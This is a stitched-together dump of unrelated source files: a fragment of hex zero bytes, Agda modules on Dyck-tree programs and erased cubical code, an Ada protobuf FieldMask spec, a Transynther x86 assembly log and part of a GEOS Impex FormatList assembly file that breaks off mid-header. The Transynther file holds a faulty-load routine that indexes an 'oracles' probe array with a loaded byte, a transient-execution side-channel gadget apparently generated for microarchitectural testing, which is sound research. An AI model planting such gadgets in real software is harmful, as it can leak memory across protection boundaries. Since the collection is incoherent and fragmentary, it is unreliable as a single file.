00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
Data/Dyck/Empty.agda | oisdk/agda-playground | 6 | 6720 | {-# OPTIONS --cubical --safe --postfix-projections #-}
module Data.Dyck.Empty where
open import Prelude
open import Data.Nat using (_+_)
open import Data.Vec.Iterated using (Vec; _∷_; []; foldlN; head)
private
variable
n : ℕ
--------------------------------------------------------------------------------
-- Binary trees: definition and associated functions
--------------------------------------------------------------------------------
data Tree (A : Type a) : Type a where
◇ : Tree A
[_] : A → Tree A
_*_ : Tree A → Tree A → Tree A
--------------------------------------------------------------------------------
-- Programs: definition and associated functions
--------------------------------------------------------------------------------
data Prog (A : Type a) : ℕ → Type a where
halt : Prog A 1
push : A → Prog A (1 + n) → Prog A n
pull : Prog A (1 + n) → Prog A (2 + n)
skip : Prog A (1 + n) → Prog A n
--------------------------------------------------------------------------------
-- Conversion from a Prog to a Tree
--------------------------------------------------------------------------------
prog→tree⊙ : Prog A n → Vec (Tree A) n → Tree A
prog→tree⊙ halt (v ∷ []) = v
prog→tree⊙ (push v is) st = prog→tree⊙ is ([ v ] ∷ st)
prog→tree⊙ (pull is) (t₁ ∷ t₂ ∷ st) = prog→tree⊙ is (t₂ * t₁ ∷ st)
prog→tree⊙ (skip is) st = prog→tree⊙ is (◇ ∷ st)
prog→tree : Prog A zero → Tree A
prog→tree ds = prog→tree⊙ ds []
--------------------------------------------------------------------------------
-- Conversion from a Tree to a Prog
--------------------------------------------------------------------------------
tree→prog⊙ : Tree A → Prog A (suc n) → Prog A n
tree→prog⊙ [ x ] = push x
tree→prog⊙ (xs * ys) = tree→prog⊙ xs ∘ tree→prog⊙ ys ∘ pull
tree→prog⊙ ◇ = skip
tree→prog : Tree A → Prog A zero
tree→prog tr = tree→prog⊙ tr halt
--------------------------------------------------------------------------------
-- Proof of isomorphism
--------------------------------------------------------------------------------
tree→prog→tree⊙ : {is : Prog A (1 + n)} {st : Vec (Tree A) n} (e : Tree A) →
prog→tree⊙ (tree→prog⊙ e is) st ≡ prog→tree⊙ is (e ∷ st)
tree→prog→tree⊙ [ x ] = refl
tree→prog→tree⊙ (xs * ys) = tree→prog→tree⊙ xs ; tree→prog→tree⊙ ys
tree→prog→tree⊙ ◇ = refl
prog→tree→prog⊙ : {st : Vec (Tree A) n} (is : Prog A n) →
tree→prog (prog→tree⊙ is st) ≡ foldlN (Prog A) tree→prog⊙ is st
prog→tree→prog⊙ halt = refl
prog→tree→prog⊙ (push i is) = prog→tree→prog⊙ is
prog→tree→prog⊙ (pull is) = prog→tree→prog⊙ is
prog→tree→prog⊙ (skip is) = prog→tree→prog⊙ is
prog-iso : Prog A zero ⇔ Tree A
prog-iso .fun = prog→tree
prog-iso .inv = tree→prog
prog-iso .rightInv = tree→prog→tree⊙
prog-iso .leftInv = prog→tree→prog⊙
|
test/Succeed/Erased-cubical/Erased.agda | cruhland/agda | 0 | 14148 | {-# OPTIONS --safe --erased-cubical #-}
module Erased-cubical.Erased where
open import Agda.Builtin.Cubical.Glue
open import Agda.Builtin.Cubical.Path
open import Agda.Primitive
open import Agda.Primitive.Cubical
-- Glue can be used in erased contexts.
@0 _ : SSet (lsuc lzero)
_ =
(φ : I) (A : Set) (B : Partial φ Set)
(f : PartialP φ (λ x → B x ≃ A)) →
primGlue A B f
-- Erased higher constructors are allowed.
data ∥_∥ (A : Set) : Set where
∣_∣ : A → ∥ A ∥
@0 trivial : (x y : ∥ A ∥) → x ≡ y
-- Modules that use --cubical can be imported.
import Erased-cubical.Cubical as C
-- Definitions from such modules can be used in erased contexts.
@0 _ : {A : Set} → A → C.∥ A ∥
_ = C.∣_∣
-- One can re-export Cubical Agda code using open public.
open import Erased-cubical.Cubical public
renaming (∥_∥ to ∥_∥ᶜ; ∣_∣ to ∣_∣ᶜ; trivial to trivialᶜ)
-- And also code that uses --without-K.
open import Erased-cubical.Without-K public
|
source/runtime/generated/google-protobuf-field_mask.ads | mgrojo/protobuf | 12 | 12551 | with Ada.Finalization;
with Ada.Streams;
with League.String_Vectors;
package Google.Protobuf.Field_Mask is
type Field_Mask_Vector is tagged private
with Variable_Indexing => Get_Field_Mask_Variable_Reference,
Constant_Indexing => Get_Field_Mask_Constant_Reference;
type Field_Mask is
record
Paths : League.String_Vectors.Universal_String_Vector;
end record;
type Optional_Field_Mask (Is_Set : Boolean := False) is
record
case Is_Set is
when True =>
Value : Google.Protobuf.Field_Mask.Field_Mask;
when False =>
null;
end case;
end record;
function Length (Self : Field_Mask_Vector) return Natural;
procedure Clear (Self : in out Field_Mask_Vector);
procedure Append (Self : in out Field_Mask_Vector; V : Field_Mask);
type Field_Mask_Variable_Reference
(Element : not null access Field_Mask) is null record
with Implicit_Dereference => Element;
not overriding function Get_Field_Mask_Variable_Reference
(Self : aliased in out Field_Mask_Vector;
Index : Positive)
return Field_Mask_Variable_Reference
with Inline;
type Field_Mask_Constant_Reference
(Element : not null access constant Field_Mask) is null record
with Implicit_Dereference => Element;
not overriding function Get_Field_Mask_Constant_Reference
(Self : aliased Field_Mask_Vector;
Index : Positive)
return Field_Mask_Constant_Reference
with Inline;
private
procedure Read_Field_Mask
(Stream : access Ada.Streams.Root_Stream_Type'Class;
V : out Field_Mask);
procedure Write_Field_Mask
(Stream : access Ada.Streams.Root_Stream_Type'Class;
V : Field_Mask);
for Field_Mask'Read use Read_Field_Mask;
for Field_Mask'Write use Write_Field_Mask;
type Field_Mask_Array is array (Positive range <>) of aliased Field_Mask;
type Field_Mask_Array_Access is access Field_Mask_Array;
type Field_Mask_Vector is
new Ada.Finalization.Controlled
with record
Data : Field_Mask_Array_Access;
Length : Natural := 0;
end record;
overriding procedure Adjust (Self : in out Field_Mask_Vector);
overriding procedure Finalize (Self : in out Field_Mask_Vector);
end Google.Protobuf.Field_Mask; |
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_3418_787.asm | ljhsiun2/medusa | 9 | 167295 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %r8
push %r9
push %rcx
push %rdx
push %rsi
lea addresses_WT_ht+0x12cf, %rdx
nop
nop
nop
nop
nop
and %r12, %r12
and $0xffffffffffffffc0, %rdx
movaps (%rdx), %xmm0
vpextrq $0, %xmm0, %r15
nop
sub %r9, %r9
lea addresses_A_ht+0x144cf, %r8
nop
nop
nop
nop
cmp %rsi, %rsi
movups (%r8), %xmm0
vpextrq $1, %xmm0, %rcx
nop
nop
nop
nop
and %rdx, %rdx
pop %rsi
pop %rdx
pop %rcx
pop %r9
pop %r8
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r15
push %r9
push %rax
push %rbp
// Store
lea addresses_A+0x16b77, %r13
nop
sub %r9, %r9
mov $0x5152535455565758, %r11
movq %r11, %xmm0
vmovups %ymm0, (%r13)
sub $14211, %r11
// Load
mov $0x47c3f7000000051f, %rbp
add %r12, %r12
vmovups (%rbp), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $1, %xmm2, %r13
nop
nop
nop
nop
nop
cmp %r12, %r12
// Store
lea addresses_D+0x1a5b7, %r9
nop
nop
nop
nop
sub $9937, %r15
movl $0x51525354, (%r9)
nop
nop
nop
and $47283, %r13
// Faulty Load
lea addresses_PSE+0x166cf, %r13
nop
and %r11, %r11
mov (%r13), %r9
lea oracles, %r15
and $0xff, %r9
shlq $12, %r9
mov (%r15,%r9,1), %r9
pop %rbp
pop %rax
pop %r9
pop %r15
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': True, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 3}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_PSE', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': True, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'33': 3418}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
Library/Impex/UI/uiFormatList.asm | steakknife/pcgeos | 504 | 87420 | <reponame>steakknife/pcgeos<filename>Library/Impex/UI/uiFormatList.asm<gh_stars>100-1000
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Impex/UI
FILE: uiFormatList.asm
AUTHOR: <NAME> 4/91
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 3/91 Initial revision
don 5/92 Major changes
DESCRIPTION:
Implementation of FormatList, a subclass of GenDynamicList
$Id: uiFormatList.asm,v 1.1 97/04/04 22:23:53 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ImpexUICode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
*** Methods
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FormatListVisOpen
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Build format list
CALLED BY: MSG_VIS_OPEN
PASS: *ds:si = FormatListClass object
ds:di = FormatListClass instance data
ds:bx = FormatListClass object (same as *ds:si)
es = segment of FormatListClass
ax = message #
bp = 0 if top window, else window for object to open on
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Joon 11/ 2/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if ALLOW_FLOPPY_BASED_LIBS ;----------------------------------------------
FormatListVisOpen method dynamic FormatListClass,
MSG_VIS_OPEN
mov di, offset FormatListClass
call ObjCallSuperNoLock
call BuildFormatList
ret
FormatListVisOpen endm
endif ; if ALLOW_FLOPPY_BASED_LIBS ------------------------------------------
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FormatListSetDataClasses
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set data classes for format list
CALLED BY: MSG_FORMAT_LIST_SET_DATA_CLASSES
PASS: DS:DI - FormatList instance data
CX - ImpexDataClasses
RETURN: Nothing
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 4/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FormatListSetDataClasses method dynamic FormatListClass,
MSG_FORMAT_LIST_SET_DATA_CLASSES
mov ds:[di].FLI_dataClasses, cx
ret
FormatListSetDataClasses endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FormatListGetFormatInfo
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DESCRIPTION: Returns the FormatInfo block handle
PASS: DS:DI = FormatListInstance
RETURN: AX = # of formats available (excluding No Idea)
CX = Format #
DX = FormatInfo handle
DESTROYED: Nothing
REGISTER/STACK USAGE:
PSEUDOCODE/STRATEGY:
KNOWN BUGS/SIDEFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 7/15/91 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FormatListGetFormatInfo method dynamic FormatListClass,
MSG_FORMAT_LIST_GET_FORMAT_INFO
.enter
; Return the information desired
;
mov bx, ds:[di].FLI_formatInfo
mov dx, ds:[di].FLI_currentFormat
call MemLock
mov ds, ax
mov si, ds:[FI_formats]
call ChunkArrayGetCount ; element count => CX
call MemUnlock
mov_tr ax, cx ; element count => AX
mov cx, dx ; current element => CX
mov dx, bx ; FormatInfo handle => DX
.leave
ret
FormatListGetFormatInfo endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FormatListRescan
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Build format list
CALLED BY: MSG_FORMAT_LIST_RESCAN
PASS: *ds:si = FormatListClass object
ds:di = FormatListClass instance data
ds:bx = FormatListClass object (same as *ds:si)
es = segment of FormatListClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Joon 11/ 7/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if ALLOW_FLOPPY_BASED_LIBS ;----------------------------------------------
FormatListRescan method dynamic FormatListClass,
MSG_FORMAT_LIST_RESCAN
call BuildFormatList
ret
FormatListRescan endm
endif ; if ALLOW_FLOPPY_BASED_LIBS ------------------------------------------
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FormatListSpecBuild
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Deal with the initial build of a FormatList by finding
all libraries with the bound token.
CALLED BY: MSG_SPEC_BUILD
PASS: *DS:SI = FormatListClass object
RETURN: Nothing
DESTROYED: AX, BX, CX, DX, DI, BP
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
See BUGS/SIDE EFFECTS/IDEAS in FormatEnum, in the
file uiFormatListLow.asm.
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 4/91 Initial version
jenny 12/91 Cleanup, handling of error in FormatEnum
don 5/92 More clean-up work & simplification
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FormatListSpecBuild method dynamic FormatListClass, MSG_SPEC_BUILD
.enter
; Let the superclass do what it wants.
;
mov di, offset FormatListClass
call ObjCallSuperNoLock ; call our superclass
if not ALLOW_FLOPPY_BASED_LIBS
call BuildFormatList
endif
.leave
ret
FormatListSpecBuild endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BuildFormatList
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Build format list
CALLED BY: GLOBAL
PASS: *ds:si = FormatListClass object
RETURN: nothing
DESTROYED: ax, bx, cx, dx, di, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
BC 6/29/93 Pulled out of FormatListSpecBuild
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
BuildFormatList proc near
class FormatListClass
.enter
; EC-version dies with STACK_OVERFLOW, so borrow stack space
;
mov di, 1000 ; stack size we need
call ThreadBorrowStackSpace
push di ; save borrowed stack "token"
; If the FormatList is already set up, we're done.
;
mov di, ds:[si]
add di, ds:[di].FormatList_offset
if not ALLOW_FLOPPY_BASED_LIBS
tst ds:[di].FLI_formatInfo
jnz exit
else
; Since the floppy disk may change, we want this to
; always rescan the disk
clr bx
xchg bx, ds:[di].FLI_formatInfo
tst bx
jz continue
call MemFree ; free old format info block
continue:
endif
mov bx, ds:[di].FLI_dataClasses
mov di, ds:[di].FLI_attrs
CheckHack <mask FLA_IMPORT eq mask IFI_IMPORT_CAPABLE>
CheckHack <mask FLA_EXPORT eq mask IFI_EXPORT_CAPABLE>
and di, (mask IFI_IMPORT_CAPABLE or mask IFI_EXPORT_CAPABLE)
; Mark application as busy
;
mov ax, MSG_GEN_APPLICATION_MARK_APP_COMPLETELY_BUSY
call GenCallApplication
; Now go find all of the libraries & formats
;
mov dx, di ; dx <- ImpexFormatInfo
call FormatEnum ; bx <- formatsAndLibs handle
; cx <- number of formats
jc done ; if error, done
mov di, ds:[si]
add di, ds:[di].Gen_offset
mov ds:[di].FLI_formatInfo, bx
; Initialize the list of formats displayed to the user
;
andnf ds:[di].FLI_attrs, not (mask FLA_NO_IDEA_PRESENT)
if not ALLOW_FLOPPY_BASED_LIBS
test ds:[di].FLI_attrs, mask FLA_EXPORT
jnz initialize
cmp cx, 1 ; if only one entry, then
jbe initialize ; don't both with "No Idea"
inc cx ; add an entry for No Idea
or ds:[di].FLI_attrs, mask FLA_NO_IDEA_PRESENT
initialize:
endif
mov ax, MSG_GEN_DYNAMIC_LIST_INITIALIZE
mov bx, cx ; format count => BX
call ObjCallInstanceNoLock
; Shift the exclusive to the first entry in the list.
;
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
clr cx, dx
tst bx ; any formats ??
jnz setSelection ; yes, so jump
mov ax, MSG_GEN_ITEM_GROUP_SET_NONE_SELECTED
setSelection:
call ObjCallInstanceNoLock
; Set the list enabled/disabled as appropriate
;
mov ax, MSG_GEN_SET_ENABLED
tst bx
jnz setAbled
mov ax, MSG_GEN_SET_NOT_ENABLED
setAbled:
mov dl, VUM_DELAYED_VIA_UI_QUEUE
call ObjCallInstanceNoLock
mov ax, MSG_GEN_ITEM_GROUP_SEND_STATUS_MSG
call ObjCallInstanceNoLock
; Done, no longer busy
done:
mov ax, MSG_GEN_APPLICATION_MARK_APP_NOT_COMPLETELY_BUSY
call GenCallApplication
; Return the stack space we borrowed
exit::
pop di ; recover "token"
call ThreadReturnStackSpace
.leave
ret
if (0) ; This doesn't work since ax contains garbage. - Joon (11/4/94)
; An error occurred while searching for libraries. Tell the
; user, and then bail out
error:
mov_tr bp, ax ; error message chunk => BP
call FormatListShowError ; display an error to user
jmp done
endif
BuildFormatList endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FormatListSpecUnbuild
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Remove the FormatList structure, as we are going away
CALLED BY: GLOBAL (MSG_SPEC_UNBUILD)
PASS: ES = Segment of FormatListClass
*DS:SI = FormatListClass object
DS:DI = FormatListClassInstance
BP = SpecBuildFlags
RETURN: Nothing
DESTROYED: BX
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 6/15/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if not ALLOW_FLOPPY_BASED_LIBS
FormatListSpecUnbuild method dynamic FormatListClass, MSG_SPEC_UNBUILD
; Free the format info block, if we have not yet done so
;
clr bx
xchg bx, ds:[di].FLI_formatInfo
tst bx
jz done ; if no FormatInfo, we're done
call MemFree ; else free the sucker
; Let the superclass do what it wants.
done:
mov di, offset FormatListClass
GOTO ObjCallSuperNoLock ; call our superclass
FormatListSpecUnbuild endm
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FormatListRequestFormatMoniker
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Request a moniker for the passed format #
CALLED BY: GLOBAL (MSG_FORMAT_LIST_REQUEST_FORMAT_MONIKER)
PASS: *DS:SI = FormatListClass object
DS:DI = FormatListClassInstance
CX:DX = OD of requestor
BP = Format #
RETURN: Nothing
DESTROYED: AX, BX, CX, DX, DI, SI, BP
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 5/27/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FormatListRequestFormatMoniker method dynamic FormatListClass,
MSG_FORMAT_LIST_REQUEST_FORMAT_MONIKER
.enter
; First see if we have the special "No Idea" case
;
push ds ; save FormatList object segment
push bp ; save the item #
test ds:[di].FLI_attrs, mask FLA_NO_IDEA_PRESENT
jz normal
dec bp
jge normal ; if not negative 1, then jump
; We have the special "No Idea" string
;
mov bx, handle Strings
call MemLock
mov ds, ax
assume ds:Strings
mov dx, ds:[NoIdeaString] ; string => DS:DX
assume ds:nothing
jmp common
; We have the normal case
normal:
mov bx, ds:[di].FLI_formatInfo
mov cx, bp ; format # => CX
call LockFormatDescriptor ; ImpexFormatDescriptor => DS:DI
mov dx, di
add dx, offset IFD_formatName ; string => DS:DX
; Now replace the moniker
common:
mov ax, MSG_GEN_DYNAMIC_LIST_REPLACE_ITEM_TEXT
mov cx, ds ; string => CX:DX
pop bp ; item # => BP
pop ds ; FormatList OD => *DS:SI
call ObjCallInstanceNoLock
call MemUnlock ; unlock block locked above
.leave
ret
FormatListRequestFormatMoniker endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FormatListSelectFormat
